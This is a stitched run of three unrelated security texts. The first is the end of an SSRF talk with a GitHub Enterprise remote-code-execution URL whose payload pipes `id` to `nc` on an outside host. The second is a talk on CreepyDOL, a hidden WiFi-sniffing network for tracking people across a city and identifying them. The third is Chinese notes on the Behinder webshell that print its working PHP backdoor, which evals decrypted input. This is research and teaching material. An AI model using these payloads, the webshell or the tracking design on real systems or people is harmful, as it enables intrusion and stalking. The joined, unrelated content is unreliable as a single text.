%07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email ?to=orange@chroot.org &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data Protocol Smuggling - Case Study http://0:8000/composer/send_email ?to=orange@chroot.org &url=http://127.0.0.1:11211/%0D%0Aset%20githubproductionsearch/quer ies/code_query%3A857be82362ba02525cef496458ffb09cf30f6256%3Av3%3Aco unt%200%2060%20150%0D%0A%04%08o%3A%40ActiveSupport%3A%3ADeprecation %3A%3ADeprecatedInstanceVariableProxy%07%3A%0E%40instanceo%3A%08ERB %07%3A%09%40srcI%22%1E%60id%20%7C%20nc%20orange.tw%2012345%60%06%3A %06ET%3A%0C%40linenoi%00%3A%0C%40method%3A%0Bresult%0D%0A%0D%0A First SSRF Second SSRF Memcached protocol Marshal data $12,500 Demo GitHub Enterprise < 2.8.7 Remote Code Execution https://youtu.be/GoO7_lCOfic Mitigations Application layer Use the only IP and hostname, do not reuse the input URL Network layer Using Firewall or NetWork Policy to block Intranet traffics Projects SafeCurl by @fin1te Advocate by @JordanMilne Summary New Attack Surface on SSRF-Bypass URL Parsing Issues Abusing IDNA Standard New Attack Vectors on Protocol Smuggling Linux Glibc NSS Features NodeJS Unicode Failure Case Studies Further works URL parser issues in OAuth URL parser issues in modern browsers URL parser issues in proxy server More... Acknowledgements 1. Invalid URL parsing with '#' by @bagder 2. URL Interop by @bagder 3. Shibuya.XSS #8 by @mala 4. SSRF Bible by @Wallarm 5. Special Thanks Allen Own Birdman Chiu Henry Huang Cat Acknowledgements Twitter @harapeko_lady https://twitter.com/harapeko_lady/status/743463485548355584 Working Cat https://tuswallpapersgratis.com/gato-trabajando/ Cat in Carpet https://carpet.vidalondon.net/cat-in-carpet/ Thanks orange@chroot.org @orange_8361
pdf
Stalking a City for Fun and Frivolity “Pull pin, point toward privacy insurance claimant” Brendan O’Connor Malice Afterthought, Inc. http://www.maliceafterthought.com Everything leaks too much data. At every level, we’ve forgotten that privacy, not just security, should be a goal. It is no longer possible to “blend in to the crowd.” Certain assumptions, and many action movies, will have to be adjusted. Every scene where an action hero dives into a mall with 10K people and the Feds say “dang, we lost him?” Yeah, that won’t work anymore. Fundamental changes are needed to fix this. So we’re probably doomed. But it’s going to be a fun time in the interim. And I mean both technical changes---more on this later---and cultural ones: it needs to *NOT* be OK to request too much data, let alone to store it or transmit it. And I say this as someone who has worked on software that millions of people use EVERY DAY: we *cannot* leak private data, or we have lost the only thing we do better than our adversaries, and the only reason anyone should trust developers. Foreword: Democratizing Surveillance http://www.flickr.com/photos/68979377@N00/3745750194 I. Foreword: The Democratization of Surveillance A. "Security is really the government's area." 1. This was actually said to me by my sister recently, indicating that I'm failing in my duty to educate my family. 2. Those of us in this room know that the government isn't very good at securing things by means *other* than throwing them in prison for large amounts of time. 3. Nonetheless, the government has a near-monopoly on surveillance. “Only the Good Guys” http://www.flickr.com/photos/chberge/3753079527 4. When it doesn't, the perception of the general public is that "only good guys" have access to terrifying surveillance technology. This is *our fault* for not correcting this misperception, though groups reporting on, e.g., all the BlueCoat boxes they've found in repressive governments are certainly helping. Heck, PRISM was leaked, and this is *still* the thing I’m hearing: people think “hey, the NSA needs that.” “Sunlight is the best disinfectant” http://www.flickr.com/photos/andyz/3857625392 B. "Sunlight is the best disinfectant." 1. A recent study showed that cops wearing sunglass cameras were 88% less likely to commit actions resulting in complaints, and 60% less likely to use force; when they did use force, those officers wearing lapel cameras were consistent in using the least amount of force possible in a situation. This effect was not duplicated in officers refusing to wear the cameras. 2. If we can see what's going on---if we can look back at our government---we have the opportunity to make sure it works as efficiently and safely as possible. If not, we are subject to blackmail, extortion, and threats. (See Aaron Swartz.) So we need sunlight---but we need it quickly, and where our natural inclination, our natural sunlight, is not. Those of you who are weapons buffs may know that this isn’t a photo of the sun: it’s a picture of the blast caused by Tsar Bomba, the largest nuclear weapon ever detonated. So I get called a stalker http://www.flickr.com/photos/simplyjessi/6333279524/ Wait, wrong stalker. This is an adorable cat, apparently named Stalker. People don’t call me an adorable cat. So I get called a stalker http://www.flickr.com/photos/dcagne/424124810 Much better. As I was saying, C. Why I do "creepy" work. 1. The only effective way to raise the issue of creeping surveillance and loss of privacy is to make clear that *anyone*, not just "the good guys," can use this technology for good or for evil. 2. The only way to make it clear is, of course, to release software that does it in a nice, user-friendly package. CreepyDOL is: • a distributed sensor network that combines wireless sniffing, distributed C&C, 3D visualization, and “grenade” encryption to do real-time personnel tracking and true-identity theft on a major urban area. It’s Stalking as a Service! Complication: Weev Or Andrew Auernheimer, if you prefer. The United States Government has declared a holy war against legitimate security research. Some of us think that’s not a good idea. It doesn’t matter whether you like Weev or not. Mighty Casey got three strikes, but we get only one; “They claimed it was for the sake of their grandparents and grandchildren, but it was of course for the sake of their grandparent’s grandchildren, and their grandchildren’s grandparents.” (Douglas Adams) The time to fight private ex post facto laws is now---because once ratified by a Court of Appeals, it will be a generation before we get to try again. So set aside any dislike you may have for Weev---perhaps for the best of reasons---and act in your own enlightened self- interest. Or everyone in this room will be in prison soon. Amicus Brief of Meredith Patterson, Brendan O'Connor, Sergey Bratus, Gabriella Coleman, Peyton Engel, Matthew Green, Dan Hirsch, Dan Kaminsky, Samuel Liles, Shane MacDougall, Jericho, Space Rogue, and Mudge And Alex Muentz, another hacker and a full lawyer, who was willing to take a law student’s brief and submit it to the Circuit Court of Appeals. All of the names on this list are big deals. Meredith Patterson from LangSec, Sergey Bratus, Patron Saint of the Gospel of Weird Machines, Crypto Engineer and Professor Matt Green, Dan Kaminsky, Jericho, Space Rogue, Mudge... the list goes on. And that should tell you how scared the entire community is, and should be; it touches all of us, whether we’re DARPA program managers, professors, or itinerant hackers. In the meantime, there will be a chilling effect, as we cannot trust legal actions not to be prosecuted anyway. Therefore, CreepyDOL has not been used to take on an entire city. It’s been tested, and parts of it have been tested with extremely high amounts of data, but I leave the next step, world domination, to a braver researcher. Extremely Serious Disclaimer This presentation does not create an attorney-client relationship. Probably. If it does, it will have said it does. Although it could have created an attorney-client relationship without explicitly saying so, because the law is tricky like that. This presentation may contain confidential and/or legally privileged information. If it does, and you are not the intended recipient, then the sender hereby requests that you notify him of his mistake and destroy all copies in your possession. The sender also concedes that he is very, very stupid. This disclaimer is not especially concerned with intelligibility. This disclaimer has no qualms about indulging in the more obnoxious trademarks of legalese, including but not limited to (i) the phrase “including but not limited to”, (ii) the use of “said” as an adjective, (iii) re-naming conventions that have little to no basis in vernacular English and, regardless, never actually recur (hereinafter referred to as “the 1980 Atlanta Falcons”), and (iv) lowercase Roman numerals. This disclaimer exists for precisely one reason—to make this presentation appear more professional. This disclaimer shall not be construed as a guarantee of actual professionalism on the part of the sender. Any actual professionalism contained herein is purely coincidental and is in no way attributable to the presence of this disclaimer. If you aren’t reading this, then this disclaimer has done its job. Its sad, pointless job. THIS DISCLAIMER IS NOT INTENDED TO BE IRONIC. Adapted, with kind permission from the author and publisher, from http:// www.mcsweeneys.net/articles/alright-fine-ill-add-a-disclaimer-to-my-emails . To be clear: I do not endorse using this software, or any software, for criminal purposes. We're hackers, not criminals. I want the fact of this software's existence to help shape habits and, hopefully, the next generations of mobile devices; perhaps they won't be designed (at the protocol level) to leak so much information so widely. DARPA Cyber Fast Track • CreepyDOL is not CFT work • DARPA tries hard not to build stuff that creeps people out this much, and they’re very nice people. • That said, two CFT contracts did let me build two of the core systems: Reticle, and the visualization system. • Thanks, Mudge! Roadmap • Goals • Background • Architecture • Design of CreepyDOL • Future Work • Mitigation Goal: Passive Wireless http://www.flickr.com/photos/library_of_congress/2163911718 II. Goals A. How much data can be extracted from passive wireless monitoring? 1. More than just from a network trace---remember that when not connected to a wireless network, WiFi devices send out lists of their known networks, asking if anyone can help them. 2. As soon as a device thinks it's connected to WiFi, all its background sync services will kick off again---DropBox, iMessage, all the rest. So we'll immediately know that certain services will be in play. 3. Over unencrypted WiFi, all the traffic sent by a device is exposed. Even if we can't see both sides of every message, we can learn a lot from what we do see---especially if we know how a given protocol operates. 4. How much better could we do if we had not one sensor, but ten? Spread out over an area? Now we have geolocation, time and place analysis, etc. 5. If we're tracking over a large area, we don't just want to know traffic and devices: we want to know people. Can we take data and find people? (I don't want your SSN, I want your name. And really, I want to know enough about you to blackmail you; information is control.) Goal: Large-Scale Sensing Without Centralized Communications http://www.flickr.com/photos/christmaswithak/2732857205 B. Can we do large-scale sensing without centralized communications? 1. If we centralize communications, life is simple; everyone phones home---but a compromised node gives every attacker the location of the mothership. 2. Centralized communications decrease resistance to attack, and prevent you from responding agilely to attack. Goal: Intelligibility http://www.slideshare.net/EmilandDC/dear-nsa-let-me-take-care-ou C. Can we present massive amounts of this data in a way that is intelligible by mortals? User-friendly? Still secure? 1. Group One of high security products: incredible technology, terrible UI. This causes low adoption, or (possibly worse) mistakes in use. Systems fail, people die. Examples: Pidgin-OTR, or PGP/OpenPGP. 2. Group Two: Concerns about technology, great UI. This causes adoption, but can cause massive problems later (if the concerns are borne out). Examples: HushMail, Silent Circle. 3. Group Three: Good technology, great UI. This is wonderful, but incredibly hard to do (because UI masters are usually not security wizards). Example: CryptoCat, RedPhone. 4. We would aspire to have CreepyDOL be in Group Three, through a variety of methods to ensure secure communication in relatively-intelligible ways. *This is an ongoing process.* Our code is open source, to allow verification, and will be released in the coming weeks. Roadmap • Goals • Background • Architecture • Design of CreepyDOL • Future Work • Mitigation Background: Academic Sensor Networks Rock! http://www.flickr.com/photos/22240293@N05/3912598338 (This is the MIT CS building, if you’re wondering. They have an awesome sensor network, and their papers are always accompanied by the *weirdest* floor plans.) III. Background A. Sensor Networks 1. Academic researchers have spent tons of time and resources on these. MANETs, other advances in technology have resulted. 2. A lot of these have uW power levels, and sacrifice languages, OS, and cost to get there---especially cost, with many nodes costing $500 or more. Each. 3. I can't afford this. I want something I can afford to break, to lose, and even to have stolen. I want it an order of magnitude cheaper, and I want it to run Linux. (Ubuntu or Debian, if possible.) Background: Large- Scale Surveillance • Remember, we knew this was happening before PRISM was announced • In my original outline: “One can assume that they have solved all of the problems involved in CreepyDOL before me, and that they should, rightfully, be cited as prior art. I'd love to do so; as soon as they publish their work, I'll be happy to cite them.” • Heh heh heh. • Pour one out for the Intelligence Community: a lot of this stuff is a pain to figure out Roadmap • Goals • Background • Architecture • Design of CreepyDOL • Future Work • Mitigation Hardware! So now let’s talk about system architecture. First: Hardware. F-BOMB v.1 (ShmooCon 2012) A. Hardware: F-BOMB, version 2 (Falling/Ballistically-launched Object that Makes Backdoors) 1. Originally presented at ShmooCon 2012. At that time, this was based on the Marvell Sheeva board, the same board used by the Pwnie Plug that’s been selling so well for years. To keep costs down, I was actually buying PogoPlugs, a rebranding of the Sheeva board, as they were being sold as essentially fire sales, and stripping out their guts. Conveniently, (next slide) It fits in a CO Detector No one ever checks their CO detector to see if it has become a node in a sensor network. The new one fits much better into this case; much less cutting is necessary. F-BOMB v.2 2. Now based on the Raspberry Pi Model A, because it's awesome, runs an easier version of Linux (Debian vs. Arch), and I can actually get it for cheaper than the salvage PogoPlugs. We also get significantly reduced power consumption, it runs at a better voltage (5v instead of 12v), it’s physically much smaller and lighter, and it actually has more RAM and processing power on board. You can see there’s a bit of cord sticking out of each F-BOMB in this photo; this is because I mis-measured when buying the cas. But the Raspberry Pi is actually much smaller than the Sheeva board, so it fits better into smaller objects. (Hold up one.) These devices use USB power, which means that I can plug them into walls (you can see an Apple-style USB power adapter in the lower-left), but also into USB batteries, MintyBoost kits, or anything else that gives me 5v in this ubiquitous form factor. They do not use that port as a data port. Total: $57.08 http://www.flickr.com/photos/gijsbertpeijs/7988257583 http://www.polycase.com/lp-51p http://www.targus.com/us/productdetail.aspx?sku=ACH63US http://www.amazon.com/JacobsParts-150Mbps-Wireless-Notebook-TP-WF11/dp/ B0067NFSE2 http://www.newegg.com/Product/Product.aspx?Item=N82E16820147152 http://www.ebay.com/itm/10x-USB-USA-AC-Wall-Charger-for-Apple- iPhone-3-3G-4G-4S-5-5G-iPod-New-White-/271163372744 Raspberry Pi, Model A: $25 Case: $4.61 USB Hub: $5.99 WiFi: 2x $6.52 SD Card: $6.99 USB Power: $1.45 Total: 57.08 per node 3. Per-Node Cost: $57.08 in 10-node quantities, excluding case. a. I bought cheap wall-wart cases and used a drill saw; you can 3D print them, or even buy disposable GladWare and use that. It’s within the price range of any kid who mows lawns energetically for a few weekends to build a group of these. Wait... why 2 WiFi? • Because I’m cheap and lazy • Introducing PortalSmash: it clicks on buttons, so you don’t have to 4. Nodes don't bring "phone home" communications gear, e.g., a 3G card; that's too expensive and *very* easy to trace (just call VZW tech support!). They use PortalSmash, Open Source software I've developed to look for open (or captive portal) WiFi and use that. In an urban area, that's perfectly sufficient. (No, PortalSmash doesn't look at encrypted WiFi; yes, you could add Reaver etc. No, I'm not planning to.) C&C Software • “Reticle: Leaderless Command and Control” • This was the first of the two DARPA CFT contracts I mentioned • Whole presentation at B-Sides Vegas 2012---but I will summarize B. C&C Software: Reticle, Leaderless C&C 1. Developed under DARPA Cyber Fast Track, Spring 2012 2. Original work presented at BSidesLV 2012, but massive improvements, and a complete rewrite, since then. Reticle Each Reticle node runs CouchDB, a NoSQL database, plus Nginx, Tor, and some custom management software. This lets nodes combine into a peer-to-peer “contagion” network in which each node sends commands and data to every other node, for both command infiltration and data exfiltration, without any single point of failure. They speak via Tor, to prevent anyone on the network to which they connect from determining where other Reticle nodes are living. To make reverse-engineering of a node much more difficult, Reticle nodes can be configured with what I call “grenade” encryption: pull pin, throw toward adversary. They load their encryption keys for their local storage at boot from removable media, which is then removed to prevent an adversary from recovering the data. A “cold boot” attack is certainly possible, but since most nodes don’t have batteries, it’s physically kind of a pain to do---and it’s not a usual thing for most people to dump liquid nitrogen on the first black box they see plugged into a wall. CreepyDOL, then, is just a mission Reticle runs; it can be retasked at any time. Roadmap • Goals • Background • Architecture • Design of CreepyDOL • Future Work • Mitigation CreepyDOL So as I mentioned, Creepy. Distributed Computation for Distributed Systems http://www.flickr.com/photos/lara604/3164622774 http://www.flickr.com/photos/jenniferboyer/52474490/ http://www.flickr.com/photos/gaelx/1858599144 A. Distributed Querying for Distributed Data 1. Since we don't have independent, high-bandwidth channels for sending data home, it's not a good idea (and may not be possible) to send raw packets home. Nodes should send home data that's already been digested. 2. So: we run any queries on the nodes that can be effectively run on the nodes, *given data that node has collected*. 3. We do not process multi-node data on individual nodes, even though every node has access to all the data (see "contagion network"), because they've got limited processing power---and more importantly, data storage. Centralized Querying for Centralized Questions B. Centralized Querying for High-Level Data 1. Things that need datapoints from multiple nodes---tracking, pattern analysis, etc., go on the "backend." 2. The backend is just another node, but with a special mission configuration: rather than just sensing and adding data, it receives data from the contagion network, pushes it into another system (a data warehouse), and then instructs the contagion to delete it to make room. NOM: Nosiness, Organization, and Mining http://www.flickr.com/photos/scjody/5345366096 C. Data Query Methodology: NOM 1. O: Observation. Take as much data out of local traffic as possible; this means names, photos, services used, etc. To make this easy, we've created a large number of "filters" that are designed for traffic from specific applications---DropBox, Twitter, Facebook, dating websites, etc. Now, many of these services encrypt their traffic, which is admirable; however, in many cases, we can still get useful data that they provide in, e.g., their User Agent. And there’s no reason for them to do this. (Next slide) Why? So this is a screenshot from Wireshark, of a packet being sent to request new iMessages from Apple. Notice at the bottom, where it sends the hardware device and iOS version, as part of the HTTP header? This is unnecessary, and it’s harmful. (If Apple needs this information, it could transmit it inside TLS.) NOM: Nosiness, Organization, and Mining http://www.flickr.com/photos/scjody/5345366096 2. N: Nosiness. Using data extracted from O queries, there are lots of leveraged queries we can make; for instance, given an email address, we can look for accounts on web services, or given a photo, we can look for copies of that photo pointing to other accounts. This can be run either as distributed or centralized. 3. M: Mining. Taking data found by the nodes, build up larger analyzed products. For instance, is the device (person) usually in one area during a certain time of day? Are there three devices that are almost always seen together, if at all? (The latter may indicate that they are all carried by the same user.) This type of query is exclusively run on the backend. CreepyDOL Architecture So this is the overall architecture for CreepyDOL. The nodes connect to each other, and one node becomes a “sink node” from which data is pulled and sent to the CreepyDOL storage, so that it can be used in the visualization. The visualization pulls data from the storage and from an OpenStreetMaps provider, to have underlaid maps. Visualization • Second DARPA CFT Contract • Used the Unity Game Engine • Side note: wow, that’s a fun toy • Side note: wow, I hate writing JavaScript that’s interpreted by C#, then compiled into .NET CLR • Runs on an iPad! Or OSX/Windows/Linux/Android • I think I could make it run on an XBox360, actually (Unity is Very Nice) So let’s talk about visualization. To prevent the user (the person requesting data) from being tied to a particular computer, we use the backend to run queries for visualization, then serve the results to the user's visualization computer. To make it easy to do large-scale visualization, I used an existing engine: the Unity game engine, used in hundreds or thousands of iPad, iPhone, XBox, Wii, and PC games. This let me take advantage of the hundreds of person-years of development they’ve already done to make it fast. As a side effect, it also means I can run my visualization on an iPad; since all the processing is done on a visualization server, it doesn’t need to be able to hold the data in RAM. Demo Video! Watch closely: do you see the creepy? Test Parameters • To prevent badness, we programmed the NOM system to look only for traffic from devices we owned; no “random stranger” data was collected at any time. So first you can see the plane loading. Then the data loads, and after a brief loading delay, the map comes in from OpenStreetMaps. I’ll zoom the camera in and out a bit; you can see that it’s 3D, and the control interface works much like Starcraft or other real-time strategy games, except with people instead of alien troops. Now you can see I’ll draw a box to select a group of data, and after a brief delay, the data and map will re-draw to allow more focus on the data in question. I can hover over various nodes to see their MAC addresses and locations, but for maximum data, I click on a node, and it shows me everything. I have some of the services I use, I have the hardware and software I’m carrying, I have a real name, email address, and even my photo from an online dating site. Combined with the true location and time of each of these pings, we end up with the same data that you used to use a whole team of surveillance agents to retrieve. Cheap, distributed stalking. Roadmap • Goals • Background • Architecture • Design of CreepyDOL • Future Work • Mitigation Other Applications Counter-Infiltration http://www.flickr.com/photos/igalko/6341182132/ A. Counter-Infiltration 1. There is a persistent rumor, in cases of exceptional police brutality (Occupy Anything, or more protests in Britain) that the police are sending in agents provocateur to cause the disruption that gives them an excuse to crack down. (This rumor is at least 300 years old, by the way.) 2. CreepyDOL would let you set up "known devices" with alarms for new ones, watch as new people come in, or even simply set off a klaxon if a Blackberry shows up (obviously a cop). C. OPSEC Training 1. The ROE for my tests demonstrate limiting data capture to one or several known devices. Use that to test your agents' OPSEC capabilities: set up a wide-ranging capture network (but tied to their stuff) and see what they leak. 2. The advantage is that you don't need to control every network an agent accesses. This lets you test "in the real world," which is much more realistic. Evidence Logging http://www.flickr.com/photos/decade_null/142235888 B. Evidence Logging 1. Again in fast-moving scenarios like protests and rallies: there's a real problem with destruction of evidence, electronic or physical, during crackdowns. In addition, it's very, very difficult to know who was *in* a kettle in the first few hours afterward; a way to know that could be very comforting and/or helpful to those outside. 2. Since CreepyDOL uses a contagion network, anything it logs will be immediately shipped out of the area to linked nodes anywhere on the planet. If those nodes go offline, the data is preserved. 3. For bonus points, use F-BOMB belt packs (which last a very long time on batteries) to have moving logs---and if you come in range of a WiFi AP somewhere (say, at a stop light), they'll offload their data without any additional interaction. 4. The encryption, and the fact that the nodes don't persist their keys, mean that unless an adversary *already knows what it is and how to cold boot it*, they don't get data. If people on the outside are concerned about the nodes, revoke their device certificates and they'll be cut off immediately. Improvements Scaling Up • Sharding Contagion Networks • Scaling backend --- luckily, this isn’t hard • Scaling limits of visualization Sharding the contagion networks: it’s easy, just give them different keys. Each network could have a sink node that throws data into the visualization system. Scaling the backend is similarly easy: the software communications with the visualization engine over HTTP, so it can run in the ubiquitous cloud. Indeed, running the backend on Amazon S3, I’ve tested scaling parts of the backend to over half a terabyte of packet capture data. The visualization is somewhat more difficult; Unity gets fussy if I display more than a couple thousand nodes at once. However, with grouping, and eventually, over large map areas, doing limited field of view and view distance work (as they do in real video games), this can be mitigated. Enhancements • $20 SDR devices (RTLSDR) • To listen to any frequency, not just WiFi • Encrypted WiFi Workarounds • e.g., Reaver • Jasager (WiFi Pineapple) to make sure wireless devices connect • MitM Roadmap • Goals • Background • Architecture • Design of CreepyDOL • Future Work • Mitigation Mitigation: A Sacrifice The leaks are at all levels. The 802.11 protocol asks devices to do this beaconing which means that even with encryption both in the protocol and over the air, I can still do tracking and identifications. The OS won’t enforce VPNs (iOS). The apps leak too much data that they don’t need. This is EVERYONE’s fault, but no one wants to take responsibility for their own actions. It’s the status quo, right? The Status is Not Quo Image from Dr. Horrible’s Sing-Along Blog, by Joss Whedon We can’t tolerate this level of privacy leakage: as consumers, we should demand better, and as developers at every level, we have a responsibility to do better. Digression: Hark • Archive for hacker work of all types (not just security) • Mentorship, promotion, and archival forever • New system of unique identifiers, like the academic DOI system, but free • On Kickstarter now: http://thehark.net So a very short final note on Hark. There’s been a back and forth between academic and non- academic researchers for years, where the academics say hackers aren’t rigorous enough and don’t cite their work, and hackers say academics don’t do anything *but* cite other work. After this blew up at ShmooCon 2013, those of us who, like myself, straddle the academic/ nonacademic divide, had some discussions and drew up plans for a way to let hackers archive their work, whether it’s a tweet, a blog post, a conference presentation, or a journal article, and cite previous hacker work regardless of whether it’s been academically published. I don’t have time to go into all the details right now, but if you think it’s important for hackers to stop re-inventing the same wheels every time we have a new research projects, I hope you’ll check out thehark.net. And yes, we encourage corporate donations. Thanks! • To all those I’ve asked for comments, to Mudge for CFT, and my law school, for letting me spend so much time on other things. • Also, I’m finishing law school in 10 months, and am wondering what I ought to take on next. If you’ve got something interesting, ping me: brendan@maliceafterthought.com. • http://thehark.net
pdf
S-behinder源码学习 PHP类型 入口 net.rebeyond.behinder.ui.controller.MainController.java openshell() 打开一个shell,会创建一个新的线程去管理这个shell,下一步是进入到新的线程当 中 mainWindowController net.rebeyond.behinder.ui.controller.MainWindowController.java 这里就是获取一个正常shell的连接,重要的是执行这个 this.doConnect() 方法。而这个方法最 后指向的是 this.currentShellService.doConnect() ,继续跟进。 net.rebeyond.behinder.core.shellService.java 这里需要关注两个地方就是一些变量表示的含义,之后会频繁用到。第二个就是这个 this.echo(content) 方法。此处会根据我们shell类型的不同进入不同的连接处理逻辑,此处以 PHP 为例,就首先进入到 this.currentType.equals('php') ,首先是生成一个随机字符串 content ,然后进入 this.echo() 方法。 net.rebeyond.behinder.core.shellService.java#echo 此处的两个关键方法是 Utils.getData() 和 Utils.requestAndParse() 。其中这个 getData 是 用于处理功能模板的,继续跟踪深入。注意传递的参数 net.rebeyond.behinder.utils.Utils.java#getData 最后这个函数来到了 net.rebeyond.behinder.utils.Utils.java#getData ,此处还是先看一 下传递的参数,然后就是根据不同的shell类型选择处理逻辑,此处还是首先选择 php 。此处,首 先是传递的 className=echo , 然后调用 Param。getParamedPhp 方法去获取参数列表。 net.rebeyond.behinder.core.Params.java#getParamedPhp 此处有一个路径寻找的过程,这个路径是事先规定好的。根据我们传递的 className=echo ,去 找到 Echo.php 这个文件,然后将文件读取放入缓冲区 StringBuilder 里面,然后调用 getPhpParams() 方法。 net.rebeyond.behinder.core.Params.java#getPhpParames 这个 getPhpParams 方法是真正用来获取参数列表,通过正则表达式,之后返回 Echo.php 这个文 件中 main 函数的参数列表。 函数返回,继续执行 getParamedPhp 此处是根据参数列表来为参数赋值,所有的值都是经过 base64 编码的,最后可以看到 Echo.php 的内容变成了上面这样。最后返回字节码。 程序返回到 getData 方法,继续执行后面的逻辑 将 Echo.php 的内容 Base64 编码,然后和字符串拼接之后获取字节码,然后再进行 AES 加密处 理,其中使用的 iv 向量全 0 ,将加密内容再进行编码然后,返回 net.rebeyond.behinder.core.shellService.java#echo net.rebeyond.behinder.core.shellService.java#echo->requestAndParse() 这个方法是用用于发送请求的,然后将响应分装到 map 当中并且返回。 data 是响应数据, header 是响应头信息。 请求流量与shell执行过程 首先查看webshell的内容 Echo.php <?php @error_reporting(0); session_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) {   $post[$i] = $post[$i]^$key[$i+1&15];   } } else { $post=openssl_decrypt($post, "AES128", $key); }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params); ?> @error_reporting(0); function main($content) { $result = array(); $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    $key = $_SESSION['k'];    echo encrypt(json_encode($result),$key); } function encrypt($data,$key) { if(!extension_loaded('openssl'))   {   for($i=0;$i<strlen($data);$i++) {   $data[$i] = $data[$i]^$key[$i+1&15];   } return $data;   }    else echo 请求产生的流量   {   return openssl_encrypt($data, "AES128", $key);   } } 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 